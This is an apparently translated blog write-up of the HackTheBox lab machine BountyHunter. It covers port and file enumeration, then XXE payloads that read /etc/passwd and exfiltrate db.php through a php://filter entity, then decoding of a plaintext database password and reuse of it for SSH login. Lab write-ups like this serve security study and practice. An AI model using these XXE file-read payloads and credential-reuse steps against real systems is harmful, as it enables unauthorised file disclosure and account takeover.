cestoliv, il y a 2 ans - ven. 8 oct. 2021

BountyHunter - HackTheBox Machine

An XEE vulnerability in a form will allow us to read the connection script to the database and retrieve the identifiers

Ports enumeration

I start with a classic enumeration of the ports (-sV to get the service and its version).

nmap -sV -sC 10.10.11.100
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
# 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We don't have much, so I start by looking at the web server to quickly see that it runs under PHP. I use FUZZ to discover some potential treasures.

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.11.100/FUZZ.php

# Target: http://10.10.11.100/FUZZ.php
# ==============================
# ID         Response  Payload
# ==============================
# 000000241: 200       "db"
# 000000422: 200       "index"
# 000000625: 200       "portal"

I discover a db.php file that could be interesting to recover.

XML External Entity (XXE) Processing

While browsing the site I came across a form (http://10.10.11.100/log_submit.php).

The data are sent with Ajax thanks to the following script:

function returnSecret(data) {
    return Promise.resolve($.ajax({
        type: "POST",
        data: {"data":data},
        url: "tracker_diRbPr00f314.php"
    }));
}

async function bountySubmit() {
    try {
        var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
            <bugreport>
                <title>${$('#exploitTitle').val()}</title>
                <cwe>${$('#cwe').val()}</cwe>
                <cvss>${$('#cvss').val()}</cvss>
                <reward>${$('#reward').val()}</reward>
            </bugreport>`
        let data = await returnSecret(btoa(xml));
        $("#return").html(data)
    }
    catch(error) {
        console.log('Error:', error);
    }
}

The data of the form are sent in an XML string created by the script, converted in base64 then sent to tracker_diRbPr00f314.php. I will use the browser console to send the data I want, and thus exploit the XEE flaw.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<bugreport>
    <title>&ent;</title>
    <cwe>CWE</cwe>
    <cvss>CVSS</cvss>
    <reward>1000</reward>
</bugreport>

Thanks to the following XML, the data will be interpreted in such a way that the title will take the contents of the /etc/passwd file as its value.

This is good, because it tells us that the only "classic" user (the one where we will probably find the flag) is called development.

This is the only file I can access.

On the other hand, we find in this Cheat Sheet a new instruction that uses a PHP function to return one of the PHP files of the project, so we'll ask for the db.php found before.

<!DOCTYPE replace [<!ENTITY ent SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>

Victory, we recover the content of db.php in base64 and it only remains to decode it!

echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d
# <?php
# 	// TODO -> Implement login system with the database.
# 	$dbserver = "localhost";
# 	$dbname = "bounty";
# 	$dbusername = "admin";
# 	$dbpassword = "m19RoAU0hP41A1sTsq6K";
# 	$testuser = "test";
# ?>

This file contains an unencrypted password: we will try to use it to connect in SSH to the machine with the development user found just now.

ssh development@10.10.11.100
# The password is the one found in db.php: m19RoAU0hP41A1sTsq6K

User own!

cat user.txt